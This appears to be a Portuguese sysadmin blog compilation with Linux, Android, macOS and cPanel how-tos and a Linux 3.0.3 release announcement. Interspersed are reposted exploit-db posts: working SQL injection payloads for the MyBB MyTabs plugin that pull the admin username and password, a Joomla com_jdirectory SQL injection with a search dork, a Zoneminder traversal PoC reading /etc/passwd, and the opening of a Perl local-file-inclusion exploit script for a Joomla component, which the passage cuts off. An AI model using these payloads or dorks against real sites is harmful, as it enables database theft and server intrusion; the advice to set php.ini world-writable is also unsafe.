Red Hat, Centos, Fedora e Rhel Based com intel E1000 (e1000e) apresentando queda de rede

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Uma coisa interessante, na verdade um bug no módulo de rede E1000 (Intel GB) está ocorrendo em plataformas Rhel Based (Red Hat 5.x e 6.x e Fedora 16) onde o sistema operacional simplesmente deixa a interface de rede trabalhando, do nada a mesma apresenta congelamento (isto mesmo, o sistema continua on, mas a interface de rede OFF). Não adiantará muito atualizar o Kernel, pois ele não trará a solução. Abaixo irei dar dicas de como resolver, no meu caso fui vitimado sob Centos 6.2:

Como root execute:

lsmod | grep e1000

Se a resposta for:

e1000e

Execute o comando como root:

modinfo e1000e

Na saída, logo no começo, veja se a informação do módulo é esta:

version: 1.4.4-k

Caso seja é JUSTAMENTE a cabrita bugada, para sanar vamos ativar um repositório com rpms fresquinhos:

CentOS 6.x -> rode como root:

rpm -Uvh http://elrepo.org/elrepo-release-6-4.el6.elrepo.noarch.rpm

CentOS 5.x -> rode como root:

rpm -Uvh http://elrepo.org/elrepo-release-5-3.el5.elrepo.noarch.rpm

Depois, como root rode:

yum install kmod-e1000e.x86_64 -y

Depois será necessário um reboot no servidor.
Assim que o servidor levantar rode:

modinfo e1000e

Veja se está como abaixo:

[root@appunixlabs ~]# modinfo e1000e
filename: /lib/modules/2.6.32-220.17.1.el6.x86_64/weak-updates/e1000e/e1000e.ko
version: 1.11.3-NAPI

 

Devemos forçar o kernel a utilizar alguns recursos a menos para que possamos contornar o bug, vamos forçar o consumo de energia ao invés de poupar (infelizmente TI verde não é com essa NIC -> Active-State Power Management tem de estar OFF), entre no grub.conf e informa a linha abaixo no final da instrução de boot do kernel utilizado por seu sistema:

pcie_aspm=off e1000e.IntMode=1,1 e1000e.InterruptThrottleRate=10000,10000 acpi=off

 

Se você receber Kernel Panic por causa das flags acima, entre novamente no servidor com qualquer outra imagem de kernel e informe no final da primeira instrução de kernel que apresentava Kernel Panic:

pcie_aspm=off

Somente a flag acima e deixa o pau quebrar.

 

Bug informado em:

https://bugzilla.redhat.com/show_bug.cgi?id=632650

https://bugzilla.redhat.com/show_bug.cgi?id=808638

https://bugzilla.redhat.com/show_bug.cgi?id=625776

http://bugs.centos.org/view.php?id=5614

 

Como instalar android 2.3 milestone 2 (passo a passo)

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Tutorial Gingerbread 2.3.4 no Milestone 2 “MS2GingerBeta5 RC1” Atualizado 24/08/11

 

PARA acompanhar o artigo completo e mais atualizado sobre atualização do android milestone 2 rodando gingerbread 2.3.7 clique em ->

http://www.appunix.com.br/howto/linux/como-instalar-android-2-3-7-no-milestone-2-sem-perder-dados-e-de-forma-rapida/

Nessa versão alguns bugs foram resolvidos o principal foi o teclado físico que agora podemos utilizar as letras e números normalmente, a ROM em si esta mais rápida e estável só alguns bugs ainda continuam o principal é o problema de não podemos adicionar novas contas além do Google e do Motoblur, fora isso estou gostando muito dessa rom, vamos ao tutorial:

Temos que rootear o aparelho primeiro com o Gingerbreak  (se você já tem root em seu telefone pule esse passo) para fazer ele funcionar vá em “configurações”, “aplicativos”, “desenvolvimento” e ative a “depuração de usb” agora instale o Gingerbreak e aperte em root device após isso o celular ira reiniciar rooteado.

Agora temos que baixar os seguintes arquivos MS2GingerBeta5 RC1,sensorsMS2patchMilestone2SenorandKeyboardCWM2-bootstrap,Milestone2patchforMS2Ginger.zip e ms2patchcwm2.zip.

Agora devemos instalar no aparelho os seguintes aplicativos Clockworkmod e Droid 2 Recovery Bootstrap.

Com os arquivos baixados devemos descompactar somente o arquivo MS2GingerBeta5 RC1, passe para a pasta clockworkmod/backup (se não tiver crie as pastas) do seu cartão de memoria somente a pasta MS2GingerBeta5 RC1 que se encontra na pasta Nanodroid do arquivo MS2GingerBeta5 RC1.

Devemos também descompactar a pasta Milestone2-fixsbf esse arquivo vai ser usado mais para frente.
Agora devemos colocar na pasta clockworkmod/updates os seguintes arquivos sensorsMS2patch, Milestone2SenorandKeyboardCWM2-bootstrap, Milestone2patchforMS2Ginger.zip e ms2patchcwm2.zip, lembrando de não descompactar esses arquivos.
Agora entre no aplicativo Droid2RecoveryBootstrap e aperte Bootstrap recovery depois em permitir e por ultimo Reboot Recovery.
O celular reiniciará, agora com os botões de volumes podemos ir para cima ou para baixo nesse menu e o botão da câmera serve para dar ok, agora vamos selecionar “Backup and Restore”, depois “Restore” e selecione “MS2GingerBeta5 RC1” depois de acabar de restaurar devemos ir em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/ms2patchcwm2.zip e confirma a instalação.Agora faça o mesmo caminho e escolha os arquivos Milestone2SenorandKeyboardCWM2

-bootstrap, Milestone2patchforMS2Ginger.zip e sensorsMS2patch depois aperte em “reboot”. Atenção é muito importante não esquecer de nenhum dos arquivos.Agora devemos instalar o Rsd Lite em nosso computador para colocar o fixed_sbf_newleak.SBF em seu celular.

Após selecionar arquivo por arquivo e dar “reboot” pode aparecer uma tela preta se aparecer tire a bateria e coloque novamente, ligue novamente o celular segurando o botão “Power”(o botão de ligar) e a “seta para cima” do teclado depois de entrar na tela de bootload conecte o celular no PC, agora no PC entre no Rsd Lite esperar o Windows encontrados os drives do celular e aperte em “…”  escolha o arquivo descompactado da pasta Milestone2-fixsbf ( o fixed_sbf_newleak.SBF) após isso basta apertar em “start” e esperar aparecer “finish”.

O celular irá reiniciar normalmente e funcionando, lembrando que pode demorar até 10 minutos para reiniciar o telefone.

Aproveite que esta versão esta muito funcional e a duração da bateria esta bem  melhor comparada com a “MS2GingerBeta5”.

Atualização para quem o sensor de movimento não esta funcionando temos que fazer alguns passos a mais, primeiro temos que baixar o Bootmenu v0.8.6-v2.zip e colocar na pasta clockworkmod/updates, entre no aplicativo Droid2RecoveryBootstrap e aperte Bootstrap recovery depois em permitir e por ultimo Reboot Recovery.

Na tela de boot devemos ir em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/Bootmenu v0.8.6-v2.zip e confirma a instalação e aperte em reboot.

O celular irá reiniciar em uma nova tela de boot nessa tela a tecla de dar ok é o “power” selecione “boot” e depois “set default: [boot Menu]” e escolha “normal” agora aperte em “Go back” 2 vezes e depois “Recovery” e “custom recovery”.

Agora na nova tela de boot o “ok” é o botão da câmera, no menu aperte em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/sensorsMS2patch e confirme a instalação após isso aperte em “reboot system now” o celular reiniciará sozinho, pode demorar um pouco mais basta esperar e curti seu celular com o sensor de movimento funcionando.

Créditos ao amigo Marcos Gonçalves

http://ajudandroid.blogspot.com/2011/08/tutorial-gingerbread-234-no-milestone-2.html?showComment=1314471600595#c3813666722992208249


Luis Fernando

Grupo Android Brasil
http://groups.google.com/group/androidbrasil?hl=pt-BR

 

Como instalar o Adobe AIR e TweetDeck mais recentes no OpenSuse 11.4

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Bom, pessoal, nós do AppUnix decidimos fazer um simples How to (bem easy-to-use mesmo) para que você possa instalar facilmente o Adobe Air junto com Tweetdeck sob OpenSuse 11.4. Sobre as notas de distribuição e hardware, nada tão gritante. Antes damos um alerta para quem “viaja” demais e instala Sistemas Operacionais Linux 64 bits quando NÃO SE TEM MAIS DE 4 gb de ram. Evite isto, pois Kernel PAE dá conta do recado e reconhece os 4gb de ram sob 32 bits com MUITO louvor.

Voltando ao ponto de specs, seguem abaixo:

Notebook Testado

Acer 7745 -> i3 350M, 4gb de ram.

Opensuse 11.4 32 bits.

Vamos que vamos?

Nosso primeiro passo é instalar o pacote RPM que está disposto no site da Adobe (pacote adobe air), Para baixar DIRETAMENTE acesse o link abaixo:

http://get.adobe.com/br/air/thankyou/?installer=Adobe_AIR_2.6_for_Linux_%28.rpm%29

Isto vai cair no site já para download.

Siga os passos abaixo:

adobeair passo 1

adobeair passo 1

Primeiro passo é dizer que queremos abrir o pacote com o gestor de pacotes RPM (mostrado acima).

adobeair passo 2

adobeair passo 2

Acima vemos o download prosseguindo (mesmo escolhendo ABRIR com gestor de pacotes RPM).

adobeair passo 3

adobeair passo 3

No passo acima vemos a execução do pacote baixado. Devemos clicar em INSTALAR para prosseguir.

adobeair passo 4

adobeair passo 4

No passo acima devemos confirmar que queremos instalar o pacote.

adobeair passo 5

adobeair passo 5

Devemos confirmar com nossa senha (senha de root do seu OpenSUSE 11.4) para autorizar a instalação do pacote.

adobeair passo 6

adobeair passo 6

Acima vemos o processo de instalação do adobe air rodando normalmente.

adobeair FINAL

adobeair FINAL

Para conferir que a instalação ocorreu filé clique em COMPUTADOR -> MAIS APLICATIVOS. Deve aparecer idêntico a foto acima.

Pronto, agora que metemos bala no Adobe Air, teremos de meter pólvora  (ou POIVA -> no interiorzão) no TweetDeck. Bora? Vamos na velocidade do dragão branco?

Primeiro passo é acessar o site oficial: http://www.tweetdeck.com/

tweetdeck passo 1

tweetdeck passo 1

Devemos clicar no menu COMPUTADOR para podermos baixar a versão DESKTOP.

tweetdeck passo 2

tweetdeck passo 2

Clicando em DOWNLOAD NOW iremos ativar o bichão (download dele). Devemos fazer isto para prosseguir com a instalação.

tweetdeck passo 3

tweetdeck passo 3

Veja o carregamento do arquivo direto no site.

tweetdeck passo 4

tweetdeck passo 4

Agora devemos clicar em ABRIR para baixar e usar o Adobe Air automaticamente na abertura dos arquivos.

tweetdeck passo 5

tweetdeck passo 5

Estamos terminando o download, falta pouco.

tweetdeck passo 6

tweetdeck passo 6

Agora iremos autorizar o Adobe Air a instalar o TweetDeck.

tweetdeck passo 7

tweetdeck passo 7

Estamos acima definindo o ponto de instalação do TweetDeck. Deveremos deixar o padrão, só confirme isto.

tweetdeck passo 8

tweetdeck passo 8

Acima devemos concordar com os termos da Adobe.

tweetdeck passo 9

tweetdeck passo 9

Conforme imagem acima, devemos colocar a senha de root do OpenSuse 11.4 afim de que seja autorizada a instalação/conclusão da instalação.

tweetdeck passo 10

tweetdeck passo 10

Depois disso é só ENJOY véi!

 

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4ppUn1x agradece sua visita :P.

Corrigir Acentuação de Teclado US internacional no OpenSuse 11.4 de maneira simples

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Bom, existe uma coisa que iremos resolver com muita facilidade que é o bendito do teclado US internacional e sua acentuação.
O teclado que estou usando é de um Acer 7745 17″.
Para sanarmos este trem não teremos dificuldades não, façamos o seguinte:

1 – Clique em COMPUTADOR -> YAST

2 – Assim que o YAST abrir você deve digitar no campo de pesquisas (acima, no canto esquerdo) a palavra teclado (veja a imagem abaixo):

teclado OK no OpenSUSE

teclado OK no OpenSUSE

Clique em LAYOUT do TECLADO do SISTEMA, em seguida procure por PORTUGUÊS (BRASIL ACENTUAÇÃO – EUA).

Isto é o mesmo que US-Internacional ou US Acentos.

Aplique clicando em OK e depois corra para o abraço.

Curtiu aí?
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Equipe AppUnix agradece e ordena -> ENJOY!

Kernel 3.0.3 estável e recém lançado :P

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Olha aí, mais uma série 3.x do Kernel LINUX stable!

Segue nota oficial (email oficial do release):

From: Greg KH <gregkh@suse.de>
To: linux-kernel@vger.kernel.org, Andrew Morton <akpm@linux-foundation.org>, torvalds@linux-foundation.org, stable@kernel.org
Subject: Linux 3.0.3
Date: Wed, 17 Aug 2011 11:00:27 -0700
Message-ID: <20110817180027.GA16619@kroah.com>

 

I'm announcing the release of the 3.0.3 kernel.

All users of the 3.0 kernel series must upgrade.

The updated 3.0.y git tree can be found at:
        git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-3.0.y.git
and can be browsed at the normal kernel.org git web browser:
        http://git.kernel.org/?p=linux/kernel/git/stable/linux-3....

thanks,

greg k-h

------------

 Documentation/virtual/lguest/lguest.c      |    3 +++
 Makefile                                   |    2 +-
 drivers/gpu/drm/radeon/atombios_dp.c       |   12 ++++++++++++
 drivers/gpu/drm/radeon/radeon_connectors.c |   16 +++++++++-------
 drivers/gpu/drm/radeon/radeon_encoders.c   |    3 +++
 drivers/gpu/drm/radeon/radeon_mode.h       |    1 +
 drivers/hwmon/ibmaem.c                     |   15 ++++++++++-----
 drivers/net/wireless/ath/ath5k/base.c      |   23 ++++++++++++++---------
 drivers/staging/rtl8192u/r819xU_firmware.c |    9 +++------
 drivers/usb/class/usbtmc.c                 |    2 +-
 drivers/usb/core/config.c                  |   11 ++++++-----
 drivers/usb/host/pci-quirks.c              |    2 +-
 drivers/usb/host/xhci.c                    |   19 ++++++++++++++-----
 drivers/usb/musb/musb_gadget.c             |    5 +++++
 drivers/usb/serial/ftdi_sio.c              |    2 +-
 drivers/usb/serial/option.c                |   12 ++++++++++++
 drivers/usb/serial/qcserial.c              |    1 +
 drivers/usb/storage/unusual_devs.h         |   10 ++++++++++
 mm/vmalloc.c                               |    7 ++++---
 net/atm/br2684.c                           |    2 --
 sound/soc/samsung/jive_wm8750.c            |    2 +-
 sound/soc/tegra/tegra_pcm.c                |    9 +++++++--
 sound/soc/tegra/tegra_wm8903.c             |   15 +++++++++++----
 sound/usb/caiaq/audio.c                    |    6 ++++--
 tools/perf/util/config.c                   |    7 -------
 25 files changed, 134 insertions(+), 62 deletions(-)
Alex Deucher (3):
      drm/radeon/kms: don't enable connectors that are off in the hotplug handler
      drm/radeon/kms: fix regression is handling >2 heads on cedar/caicos
      drm/radeon/kms: don't try to be smart in the hpd handler

Andrew Bird (4):
      USB: option driver: add PID for Vodafone-Huawei K3770
      USB: option driver: add PID for Vodafone-Huawei K3771
      USB: option driver: add PID for Vodafone-Huawei K4510
      USB: option driver: add PID for Vodafone-Huawei K4511

Bob Copeland (1):
      ath5k: fix error handling in ath5k_beacon_send

Chas Williams (1):
      atm: br2864: sent packets truncated in VC routed mode

Clemens Ladisch (1):
      mm: fix wrong vmap address calculations with odd NR_CPUS values

Daniel Mack (1):
      ALSA: snd-usb-caiaq: Correct offset fields of outbound iso_frame_desc

Greg Kroah-Hartman (1):
      Linux 3.0.3

Ionut Nicu (1):
      USB: ftdi_sio: fix minor typo in get_ftdi_divisor

JiSheng Zhang (1):
      USB: xhci: fix OS want to own HC

John Stultz (1):
      usb: musb: fix oops on musb_gadget_pullup

Jonathan Nieder (1):
      perf tools: do not look at ./config for configuration

Julia Lawall (1):
      hwmon: (ibmaem) add missing kfree

Mark Brown (1):
      ASoC: Fix binding of WM8750 on Jive

Maxim Nikulin (1):
      USB: assign instead of equal in usbtmc.c

Nick Bowler (1):
      USB: usb-storage: unusual_devs entry for ARM V2M motherboard.

Rusty Russell (1):
      lguest: allow booting guest with CONFIG_RELOCATABLE=y

Sarah Sharp (1):
      xhci: Don't submit commands or URBs to halted hosts.

Sebastian Andrzej Siewior (1):
      usb/config: use proper endian access for wMaxPacketSize

Stefan Lippers-Hollmann (1):
      staging: rtl8192u: declare MODULE_FIRMWARE

Stephen Warren (2):
      ASoC: Tegra: tegra_pcm_deallocate_dma_buffer: Don't OOPS
      ASoC: Tegra: wm8903 machine driver: Allow re-insertion of module

Vijay Chavan (1):
      USB: Serial: Added device ID for Qualcomm Modem in Sagemcom's HiLo3G

Joomla Component (com_jdirectory) SQL Injection Vulnerability

Standard


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.__ .__ __ .__ .___
____ ___ _________ | | ____ |__|/ |_ |__| __| _/
_/ __ \ / /____ | | / _ | __ ______ | |/ __ |
___/ > < | |_> > |_( ) || | /_____/ | / /_/ |
___ >__/_ | __/|____/____/|__||__| |______ |
/ /|__| /
Exploit-ID is the Exploit Information Disclosure

Web : exploit-id.com
e-mail : root[at]exploit-id[dot]com

#########################################
I’m Caddy-Dz, member of Exploit-Id
#########################################
======================================================================

####
# Exploit Title: Joomla Component com_jdirectory SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com | Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Google Dork: inurl:/component/option,com_jdirectory
# Category:: Webapps
# Tested on: [Windows 7 Edition Intégral- French]
# Vendor: http://www.joomace.net/downloads/acesef/extensions/jdirectory-acesef
####

[*] ExpLo!T :

http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0

http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here

####

[+] Peace From Algeria

####

=================================**Algerians Hackers**=======================================|
# Greets To : |
KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T , |
All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com) |
All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , |
RmZ …others |
============================================================================================ |

Fonte: http://www.exploit-db.com/exploits/17603/

MyBB MyTabs (plugin) 0day SQL injection vulnerability

Standard


=====================================================================
MyBB 0day MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title : MyBB 0day MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 08 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

—————————————
# ~ Expl0itation ~ #
—————————————

$~ Get the administrator’s username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

$~ Get the administrator’s password ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

_ _ ____ _ _ _ _ _ _ ____ _
/ _ _| |_ ___ | _ | | | | | | __ _ _ __ __| | __| | _ ___ __ _| |
/ _ | | | | __/ _ | |_) | | | | | | / _` | ‘_ / _` | / _` | |_) | / __|/ _` | |
/ ___ |_| | |_ (_) | _ /_/ ___,_|_____/|_| _\___/|_| _| __,_|_| |_|__,_| __,_|_| _(_)___/__, |_____|
|_|

# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.

____ _ ____ ____ _ _ _ _ _
| _ _ __ ___ _ _ __| | |___ | __ ) / | | |__ __ _ _ __ (_) __ _ _ __ | |
| |_) | ‘__/ _ | | | |/ _` | __) | _ / _ | | ‘_ / _` | ‘_ | |/ _` | ‘_ | |
| __/| | | (_) | |_| | (_| | / __/| |_) | / ___ | | |_) | (_| | | | | | (_| | | | | |_|
|_| |_| ___/ __,_|__,_| |_____|____/ /_/ __|_.__/ __,_|_| |_|_|__,_|_| |_| (_)

# 2011

 

Fonte: http://www.exploit-db.com/exploits/17595/

Zoneminder 1.24.3 Remote File Inclusion Vulnerability

Standard


# Exploit Title: Zoneminder 1.24.3 Remote File Inclusion Vulnerability
# Date: 2011-07-22
# Author: Iye (iye[dot]cba-at-gmail[dot]com)
# Software Link: http://www.zoneminder.com/
# Version: 1.24.3 (Tested). 1.24.4 probably too, not tested
# Tested on: Ubuntu 10.04

You must be authenticated as a user in the Web App to exploit it. It’s
not a must to be admin.

POC: http://localhost/zm/index.php?action=56&markMids%5B%5D=1&deleteBtn=Delete&editBtn=Edit&view=../../../../../../../../../../../../../../../etc/passwd%00

Reported to proyect mantainer (Philip Coombes) on 2011-07-22
Fix patch made Philip Coombes: http://www.zoneminder.com/downloads/lfi-patch.txt

Vulnerable Code:

/var/www/zm/includes/functions.php
——————————————————–

function getSkinFile( $file )
{
global $skinBase;
$skinFile = false;
foreach ( $skinBase as $skin )
{
$tempSkinFile = ‘skins’.’/’.$skin.’/’.$file;
if ( file_exists( $tempSkinFile ) )
$skinFile = $tempSkinFile;
}
return( $skinFile );
}

——————————————————–

 

Fonte: http://www.exploit-db.com/exploits/17593/

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Standard

Este é um artigo daqueles “easy-to-use”, aonde instalaremos o apache 2, o php 5 e o mysql 5 para que possamos programar sossegadamente (fazer um webserver para hospedar nossa aplicação localmente).
O sistema operacional usado aqui foi o Mac Os X Snow Leopard 10.6.7, mas o procedimento é o mesmo para 10.6.8.

Vamos para o fight?
Iremos usar o console do Mac os x, assim como o ports do Mac para gerenciar o trem com velocidade.
Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

Clicando lá você fará o seguinte:

Little-oaks-appunixlabs:~ sudo apachectl start

Isto fará com que você chame recursos globais como super usuário e ative o serviço do apache 2 dentro do seu Mac os x, LEMBRANDO que será requisitada a senha de superusuário para que você possa rodar este recurso, pois o sudo te dá poder de root para executar um determinado comando, como neste caso tomtamos o exemplo do apachectl.

Para conferir que o procedimento deu certo abra seu navegador web (no nosso caso curtimos muito o Mozilla Firefox, mas fica ao seu critério o navegador [isto não influenciará em nada neste how to]), conforme imagem abaixo, na barra de endereços digite

Apache ok

Apache ok

HTTP://localhost

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X Snow Leopard está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

Teremos liberadas extensões como PDO (Muito boa para abstração no banco de dados mysql), Mysqli (a versão aprimorada do conector nativo do Mysql [somente disponível a partir do Mysql 5.x])
Pronto, feito isto instalamos o Mysql 5 , Php 5 e Apache 2 em nosso Mac Os X :D.
Abraços a todos e saibam que o AppUnix aprecia sua visita!

/usr/sbin/repquota -auv highest load 100% cpu usage (load) How to solve (COMO RESOLVER)

Standard

Essa dica SANA o problema junto ao processo /usr/sbin/repquota -auv, o qual o cpanel o executa sozinho, do nada (e como quem quer nada), lol, e o pior, não adianta dar killall, kill -9, kill np que ele não encerra, isto é fato!!! Vamos parar de preencher a linguiça e sanar o negócio?

Bem, alguns passos podem ser seguidos para sanar, digamos que irei colocar do nível mais simples ao mais curioso de todos, ok?

Tente o seguinte [como root]:

rm /home/quota.group
rm /home/quota.user

/scripts/fixquotas

Se o processo ainda insistir em ficar como louco checa se seu disco está operando em ready only, uma forma de tentar isto é fazer assim:

touch /home/qualquercoisa e em seguida digitar stat /home/qualquercoisa, se mostrar somente leitura é hora de um reboot (e de preferência um fsck por parte do IDC).

Outro ponto extra é você executar o upcp –force e ver se o processo inicia, caso não, observe na hora (normalmente madrugada) se o processo executa e em seguida opera com o repquota, se isso ocorrer realmente é o versionamento ferrado, mude o estilo de update e faça upcp –force (normalmente release ou stable são os mais recomendados, troque um pelo outro e lembre-se de proteger com chattr os arquivos que lhe são importantes e o cpanel pode os sobrescrever (customizações, por exemplo, em temas do cpanel)).

Vamos finalizar com a dica mais extra?

lsattr /*.user

Se exibir proteções do tipo i–A, meu amigo, tira essa praga daí —-> chattr -iA /*.user

Com isso rode o comando na mão e veja que glorioso.

Se a glória não ocorrer você precisara aprofundar as coisas:

1. Identificar que partições estão usando sistema de quotas,
================
root@appunixlabs [~]# cat /etc/fstab | grep quota
LABEL=/ / ext3 defaults,usrquota 1 1
LABEL=/home /home ext3 defaults,usrquota 1 2
LABEL=/usr /usr ext3 defaults,usrquota 1 2
LABEL=/var /var ext3 defaults,usrquota 1 2
================

2. Reiniciar o Servidor e entrar em Single mode.

3. Rodar um fsck para cada partição (modo forçado)-> fsck -f /dev/sdX#

4. Recriar o sistema de journaling para cada partição. (tune2fs -O ^has_journal /dev/sdX#;tune2fs -O has_journal /dev/sdX#)

5. Rodar um fsck PADRÃO para cada partição.

6. rodar o comando /scripts/fixquotas

7. Reiniciar o sistema.

Fonte:
http://www.littleoak.com.br/2011/08/01/usrsbinrepquota-auv-consumindo-toda-cpu-100-overload-cpanel/ (meu velho blog)

Joomla Component JE K2 Story Submit Local File Inclusion Vulnerability

Standard


#! /usr/bin/perl -w

# Joomla Component JE Story Submit Local File Inclusion Vulnerability
# Author : v3n0m
# Date : July, 21-2011 GMT +7:00 Jakarta, Indonesia
# Software : JE Story Submit
# Vendor : http://joomlaextensions.co.in/
# License : GPLv2 or later
# Tested On: Joomla 1.5.x
# irc.yogyacarderlink.web.id - www.yogyacarderlink.web.id
#
# PoC - http://127.0.0.1/[path]/index.php?option=com_jesubmit&view=[LFI]%00
#

use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|==========================================================|n";
print "| 'Joomla Component JE Story Submit Local File Inclusion' |n";
print "| Coded by : v3n0m |n";
print "| Dork : inurl:com_jesubmit |n";
print "| |n";
print "| www.yogyacarderlink.web.id |n";
print "| |n";
print "|===================================[ YOGYACARDERLINK ]====|n";
print "nUsage: perl $0 n";
print "tex: perl $0 http://www.site.com /etc/passwdnn";

$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ //$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php?";

my $req = HTTP::Request->new(POST => $host."index.php?");
$req->content_type('application/x-www-form-urlencoded');
